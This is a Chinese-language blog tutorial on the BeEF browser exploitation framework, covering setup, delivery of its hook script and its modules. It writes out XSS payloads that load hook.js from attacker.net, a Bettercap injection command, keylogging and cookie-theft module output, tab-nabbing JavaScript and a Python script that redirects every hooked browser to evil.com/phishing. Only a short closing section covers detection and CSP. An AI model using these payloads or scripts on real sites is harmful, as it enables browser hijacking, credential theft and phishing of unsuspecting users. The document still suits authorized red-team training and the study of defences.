BeEF 框架实战:从安装配置到常用 Hook 模块详解
一、BeEF 是什么
BeEF(Browser Exploitation Framework)是一个专门针对浏览器的渗透测试框架。它的核心思路很简单:
攻击者注入一个 XSS Payload → 受害者浏览器执行 → 反向连接到 BeEF 服务器 → 攻击者获得浏览器远程控制权
与 Metasploit 针对操作系统不同,BeEF 针对的是浏览器这个攻击面。它能做的事情包括:
- 🕵️ 收集浏览器指纹、插件、历史记录
- 💬 在受害者浏览器中执行任意 JS
- 🔑 窃取保存的密码、Cookie、localStorage
- 🧲 发起进一步的社工攻击(重定向、钓鱼)
- 🥷 结合 Metasploit 利用浏览器插件漏洞打内网
- 🖥️ 甚至可以利用 WebRTC 反查内网 IP
二、安装与配置
2.1 系统要求
# Ubuntu / Debian
sudo apt update
sudo apt install -y ruby ruby-dev libsqlite3-dev libpcap-dev openssl libssl-dev libreadline-dev libffi-dev zlib1g-dev
2.2 克隆并安装 BeEF
git clone https://github.com/beefproject/beef.git
cd beef
# 安装 Ruby 依赖
gem install bundler
bundle install
# 初始化数据库
./beef --init
2.3 配置文件:config.yaml
# config.yaml —— 关键配置项
beef:
# BeEF 管理面板(攻击者用)
http:
host: "0.0.0.0"
port: "3000"
# 管理后台认证
credentials:
user: "beef"
pass: "password"
# 核心 Hook 脚本(受害者浏览器要加载的 JS)
hook_file: "hook.js"
hook_path: "/hook.js"
# 可选:使用 HTTPS(生产环境建议)
https:
enable: false
cert: "ssl/server.crt"
private: "ssl/server.key"
# 可选:绑定 Metasploit 做联动
metasploit:
enable: false
host: "127.0.0.1"
port: 55553
2.4 启动 BeEF
./beef
# 输出示例:
# [*] BeEF - Browser Exploitation Framework v0.6.4.0-alpha
# [*] Official Website: https://beefproject.com
# [*]
# [*] ===========================
# [*] BeEF REST API
# [*] ===========================
# [*] [+] http://127.0.0.1:3000/api/
# [*] [+] Password: 94198ae1fc50f384e45b5c4f89dca150
# [*]
# [*] ===========================
# [*] Hook URL
# [*] ===========================
# [*] [+] http://192.168.1.100:3000/hook.js
# [*]
# [*] ===========================
# [*] UI URL
# [*] ===========================
# [*] [+] http://127.0.0.1:3000/ui/panel
# [*] [+] User: beef
# [*] [+] Password: password
2.5 Hook.js 是什么
hook.js 是 BeEF 的核心载荷,一个约 4000+ 行的 JavaScript,受害者浏览器加载后会:
- 建立与 BeEF 服务器的 WebSocket / HTTP 长连接
- 定期"心跳"汇报在线状态
- 接收服务器下发的命令(执行 JS、截图、重定向…)
三、让浏览器 Hook 到 BeEF(投递 Payload)
3.1 常见投递方式
方式 A:存储型 XSS
<script src="http://attacker.net:3000/hook.js"></script>
方式 B:反射型 XSS
http://victim.com/search?q=<script src="http://attacker.net:3000/hook.js"></script>
方式 C:DOM XSS 注入
// 如果已经有 DOM XSS 执行点
var s = document.createElement('script');
s.src = 'http://attacker.net:3000/hook.js';
document.head.appendChild(s);
方式 D:MITM 中间人(SEToolkit / Bettercap)
# Bettercap 注入 hook.js
bettercap -T target_ip --proxy --proxy-script beef.cap
3.2 HTTPS 场景的绕过
如果目标站点是 HTTPS,而你的 BeEF 用的是 HTTP,现代浏览器会拦截混合内容。
解决方案:
# 给 BeEF 配 HTTPS
./beef --generate-ssl-certificate # 自签名
# 或者用 Let's Encrypt 正经证书
# 然后用 https://attacker.net:3000/hook.js
四、BeEF 管理面板详解
访问 http://127.0.0.1:3000/ui/panel,用配置的账号登录。
4.1 左侧面板:在线浏览器列表
╔═══════════════════════════════════════╗
║ 🌐 Online Browsers (3) ║
╠═══════════════════════════════════════╣
║ ● Chrome 125.0 | 192.168.1.50 (Admin) ║
║ ├── OS: Windows 11 ║
║ ├── Active Modules: 0 ║
║ └── Last Seen: 2s ago ║
║ ● Firefox 126.0 | 192.168.1.51 ║
║ ● Edge 125.0 | 10.0.0.12 (Mobile) ║
╚═══════════════════════════════════════╝
绿色 = 在线,灰色 = 离线。
4.2 右侧面板:模块与命令
选中一个浏览器后,出现可用模块列表:
| 模块分类 | 说明 |
|---|---|
| Information Gathering | 信息收集 |
| Browsing | 浏览相关控制 |
| Browser | 浏览器控制 |
| Network | 网络探测 |
| Payloads | 攻击载荷 |
| Persistence | 持久化 |
| Exploits | 漏洞利用(联动 Metasploit) |
五、常用模块实战
5.1 信息收集类
① 浏览器指纹(Get Cookie + Get Local Storage)
模块路径:Browser → Hooked Domain → Get Cookie / Get Local Storage
点击即可执行,BeEF 会返回当前域下的所有 Cookie 和 localStorage 内容:
# 执行后在 BeEF UI 中看到结果:
[*] Executing module Get Cookie on beef://browser/xxxxx
[*] Result:
session_id=s3cr3t_s3ss10n_h4sh
user_prefs={"theme":"dark"}
localStorage:
{"cart_count":"3","last_login":"2026-08-06"}
② 完整 DOM 抓取(Browser → Get DOM Tree)
// BeEF 在浏览器中执行的实际 JS
document.documentElement.outerHTML
// 返回完整 DOM
③ 键盘记录(Browser → Hooked Domain → Capture Keystrokes)
启用后 BeEF 会在后台记录所有按键:
受害者输入: admin@victim.com
受害者输入: P@ssw0rd123!
BeEF 控制台实时滚动:
[KEY] a [KEY] d [KEY] m [KEY] i [KEY] n ...
⚠️ BeEF 的原生键盘记录只能记录焦点在被 Hook 页面内的按键。如果需要跨标签页全局记录,需要在每个新页面都注入 hook。
④ WebRTC 获取内网 IP(Network → Get Internal IPs)
// BeEF 内部实现(简化)
function getLocalIPs(callback) {
var ip_dups = {};
var RTCPeerConnection = window.RTCPeerConnection || ...;
var pc = new RTCPeerConnection({iceServers: []});
pc.createDataChannel("");
pc.createOffer().then(offer => pc.setLocalDescription(offer));
pc.onicecandidate = function(e) {
if (!e || !e.candidate || !e.candidate.candidate) return;
var parts = e.candidate.candidate.split(' ');
var ip = parts[4];
if (!ip_dups[ip]) {
ip_dups[ip] = true;
callback(ip);
}
};
}
5.2 浏览控制类
⑤ 重定向(Browsing → Redirect Browser)
让受害者的浏览器跳转到任意 URL:
# 参数:
URL: http://evil.com/phishing
In iframe? 否
# 受害者浏览器立即被重定向
⑥ 弹窗钓鱼(Browsing → Pretty Theft)
伪装成"重新登录"对话框,窃取密码:
# Pretty Theft 模块提供多种钓鱼模板:
# - Facebook 登录
# - Gmail 登录
# - 银行登录
# 可以自定义 HTML 模板
# 受害者填写后,凭据回传到 BeEF 服务器
⑦ 标签页劫持(Browsing → Tab Nabbing / Tab Hijack)
当用户切到其他标签页时,把当前标签改成看起来合法的登录页面,等用户切回来以为"会话过期"而重新输入密码。
// 核心 JS
document.addEventListener('visibilitychange', function() {
if (document.hidden) {
document.title = 'Session Expired - Please Login Again';
// 替换 DOM 为钓鱼登录表单
}
});
5.3 持久化类
⑧ HttpOnly Cookie 绕过(Browser → Get HttpOnly Cookie via XMLHttpRequest)
BeEF 会发送一个带 Cookie(包括 HttpOnly)的请求到目标站点某个能返回 Set-Cookie 的端点,然后通过响应间接拿到。
⑨ 持久化 Hook(Persistence → Man In The Browser)
// 持续替换 <body> 的所有链接/表单 action,经过代理
// 让受害者即便手动输新地址也会被劫持
⑩ 无界 Cookie 注入
// BeEF 会尝试在多个子域下设置 Cookie
// 让跨子域请求也能携带恶意 Cookie
5.4 Exploits(需联动 Metasploit)
Browser_autopwn2
# 启动 Metasploit
msfconsole -q
load msgrpc ServerHost=127.0.0.1 ServerPort=55553 User=msf Pass=abc123
# 回到 BeEF,启用 metasploit 联动
# 然后选 Browser → Exploits → Browser_autopwn2
# BeEF 自动扫描浏览器插件版本,匹配已知 CVE,下发 exploit
六、BeEF REST API(自动化脚本)
6.1 获取 API Token
curl -s -X POST http://127.0.0.1:3000/api/admin/login -H "Content-Type: application/json" -d '{"username":"beef","password":"password"}'
# 响应:{"success":true,"token":"xxxxxx..."}
6.2 列出所有 Hooked 浏览器
curl -s http://127.0.0.1:3000/api/hooks?token=YOUR_TOKEN | python3 -m json.tool
6.3 自动对所有浏览器执行模块
#!/usr/bin/env python3
import requests, sys, time
BEEF = 'http://127.0.0.1:3000'
USER, PASS = 'beef', 'password'
# 1. 登录拿 token
r = requests.post(f'{BEEF}/api/admin/login',
json={'username': USER, 'password': PASS})
token = r.json()['token']
# 2. 列出所有被 Hook 的浏览器
r = requests.get(f'{BEEF}/api/hooks?token={token}')
hooks = r.json()['hooks']
print(f"在线浏览器: {len(hooks)}")
for h in hooks:
print(f" [{h['id']}] {h['name']} | {h['ip']}")
# 3. 对每个浏览器执行一个模块
# 比如让所有人都跳转到钓鱼页
for h in hooks:
r = requests.post(
f"{BEEF}/api/modules/{h['id']}/browser/redirect",
json={'url': 'http://evil.com/phishing'},
params={'token': token}
)
print(f"[{h['id']}] redirect 下发结果: {r.json()}")
七、检测与防御
7.1 检测 BeEF Hook.js
Hook.js 里有 BeEF 特有的字符串,WAF/IDS 可以匹配:
beef, browser exploitation framework, hook.js, beefjs
7.2 浏览器端 CSP
Content-Security-Policy: script-src 'self' https://cdn.example.com
→ 禁止加载外部脚本,BeEF 的 hook.js 无法加载
7.3 对抗 Hook 的小技巧(渗透测试中)
// 1. 在 Console 里检查
Object.keys(window).filter(k => k.includes('beef'))
// 或
typeof window.__beef !== 'undefined' && alert('BeEF hooked!')
// 2. 检查 DOM 里有没有可疑 script
document.querySelectorAll('script[src*="hook"], script[src*="beef"]')
// 3. 检查 WebSocket / XHR 是否有异常出站连接
7.4 作为攻防人员的平衡心态
BeEF 是红队工具,使用前必须得到书面授权。在合法渗透测试中,BeEF 是验证"XSS 真实危害"、"钓鱼演练效果"最直观的武器。在蓝队角度,理解 BeEF 的 Hook 机制,才能更好地制定防御策略(CSP、隔离 Cookie 域、敏感操作二次确认等)。